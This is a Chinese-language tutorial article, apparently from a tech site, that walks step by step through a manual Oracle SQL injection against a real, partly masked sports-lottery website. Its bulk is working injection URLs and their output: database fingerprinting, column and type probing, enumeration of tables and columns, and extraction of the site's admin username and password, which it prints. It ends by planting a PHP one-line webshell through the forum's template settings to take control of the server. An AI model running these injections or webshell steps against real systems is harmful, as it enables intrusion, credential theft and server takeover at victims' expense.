参考案例:手工Oracle注入某足彩在线网站

安全 应用安全
某足彩在线网站是一个大型的足彩站点,在其中存在着注入点,链接如下:http://www.****china.com/jst/md_end.jsp?id=76,以该注入点为例,讲解如何进行Oracle手工注入攻击检测。

某足彩在线网站是一个大型的足彩站点,在其中存在着注入点,链接如下:http://www.****china.com/jst/md_end.jsp?id=76,以该注入点为例,讲解如何进行Oracle手工注入攻击检测。

判断注入点

在链接地址后加上单引号,返回信息"java.sql.SQLException: ORA-01756",可初步判断为Oracle的数据库。

在链接后添加提交"/*",返回错误页面,说明数据库不是MySQL的。继续在注入点链接后添加"--",显示正常页面,说明数据库可能为MSSQL和Oracle。再提交:

http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from user_tables)>0--

http://www.****china.com/jst/md_end.jsp?id=76 and (select count (*) from dual)>0--

都返回正常页面(图1),确认为Oracle的数据库。

图1  确认Oracle注入

图1  确认Oracle注入#p#

字段数目与字段类型检测

先检测注入点处查询字段数目,提交:

http://www.****china.com/jst/md_end.jsp?id=76 order by 10  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 5  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 8  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 order by 7  //返回正常页面

说明当前表存在7个字段。下面再来检测字段类型,提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 1,2,3,4,5,6,7 from dual

返回错误信息,提示(图2):

expression must have same datatype

图2  数据类型错误

图2  数据类型错误#p#

很显然,提交的字段类型不正确,所以查询出错。于是改为提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,null,null,null,null from dual

返回正常页面,说明字段数目确实为7个,但是需要确定字段类型。依次提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select 'null',null,null,null,null,null,null from dual  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,'null',null,null,null,null,null from dual  //返回错误页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,'null',null,null,null,null from dual  //返回正常页面

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select null,null,null,'null',null,null,null from dual  //返回正常页面

……

上面的查询中,用'null'字符串检测该字段处是否为字符型,如果返回正常页面则说明为字符型数据,返回错误页面,则说明该处为数字型。

提交检测完毕后,确认1,3,4,6,7位置处为字符型。提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3','4',5,'6','7' from dual

返回正常页面(图3),说明字段类型正确。

图3  确认数据类型

图3  确认数据类型

检测注入点信息

对注入点进行简单的信息检测,可选择字符型字段处显示要查询的信息,提交如下:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select (select banner from sys.v_$version where rownum=1),2,(select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual), (select member from v$logfile where rownum=1),5,'6', (select instance_name from v$instance) from dual

从返回页面中得到各种信息(图4):

数据库版本为Oracle Database 10g Enterprise Edition Release 10.2.0.4.0 - 64bi;

前数据库连接用户名为TOTO;

操作系统平台为Linux;

服务器sid为racdb2。

图4  返回注入点各种信息

图4  返回注入点各种信息#p#

查询获取表名

先来查询一下当前数据库中的表名,提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1),5,'6','7' from dual

这里选择了字段4处返回信息,得到第1个表名为ACCOUNTS

图5

这里选择了字段4处返回信息,得到第1个表名为ACCOUNTS(图5)。

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1 and table_name<>'ACCOUNTS'),5,'6','7' from dual

注意,表名一定要大写。提交后返回第2个表名为A_USER。再提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select table_name from user_tables where rownum=1 and table_name<>'ACCOUNTS' and table_name<>'A_USER'),5,'6','7' from dual

得到第3个表名BOBO_URL_INFO。用同样的方法,可得到其它所有表名,发现其中有一个极为重要的表名USERMG。#p#

查询获取字段名及内容

选择对USERMG表进行查询,提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select column_name from user_tab_columns where table_name='USERMG' and rownum=1),5,'6','7' from dual

返回USERMG表中第一个字段名USER_NAME,再提交:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select '1',2,'3',(select column_name from user_tab_columns where table_name='USERMG' and column_name<>'USER_NAME' and rownum=1),5,'6','7' from dual

图6  返回表中字段名

图6  返回表中字段名

返回第2个字段名USER_PASS(图6)。这两个字段名很明显是用来存储用户名和密码的,直接查询其内容:

http://www.****china.com/jst/md_end.jsp?id=76 and 1=2 union select USERNAME,2,'3',USER_PASS,5,'6','7' from USERMG

返回页面中,得到了用户名和密码为:admin/toto11admin(图7)。

图7  获得管理员帐号数据

图7  获得管理员帐号数据#p#

登陆后台上传WebShell

没有直接查找到网站的后台,但是利用管理员帐号,可以从前台进行登录。登录进入后,发现可进入体彩论坛,在论坛中在论坛后台管理页面,直接用此帐号进行登陆,进入论坛管理后台。

在"论坛管理"→"界面风格"→"默认风格"→"详情"中,点击"新增变量",将变量内容设置为:

', '#999');eval($_POST[c]);

图8  添加变量写入一句话木马

图8  添加变量写入一句话木马

替换内容可随便填(图8)。点击"提交"按钮后,一句话木马就被写入模板风格文件中了。用一句话木马连接论坛风格页面文件:

http://bbs.****china.com/forumdata/cache/style_1.php

图9  连接一句话木马

图9  连接一句话木马

密码为c,粘贴入要上传的WebShell代码内容,即可连接一句话木马获得WebShell(图9)。WebShell的权限比较大,可轻易的控制远程网站服务器。

【编辑推荐】

  1. Oracle注入点信息基本检测
  2. Oracle listener程序所存在安全漏洞有哪些?
  3. OpenWorld案例分享:Oracle透明数据加密技术
  4. Oracle数据库内部安全威胁:审计特权用户
责任编辑:佟健 来源: 《大中型网络入侵要案》
相关推荐

2013-01-11 16:31:27

2019-05-06 09:26:52

Java在线网站浏览器

2015-07-07 10:37:41

2015-04-03 09:35:57

2012-03-31 14:00:13

CompuwareGomez应用性能测试

2010-06-25 16:04:56

2010-04-13 14:35:17

2011-04-11 13:19:41

Oracle数据库

2010-05-06 09:30:16

Oracle创建数据库

2013-03-29 10:57:45

2010-11-01 17:22:44

2009-04-13 11:25:46

IBMdWEclipse

2010-04-07 11:56:58

Oracle JOB

2009-01-26 20:33:17

2023-02-03 08:32:52

2018-12-18 09:06:07

2009-11-04 17:52:35

Oracle用户管理

2009-10-12 15:18:05

2010-01-18 10:01:56

2019-05-20 09:42:04

点赞
收藏

51CTO技术栈公众号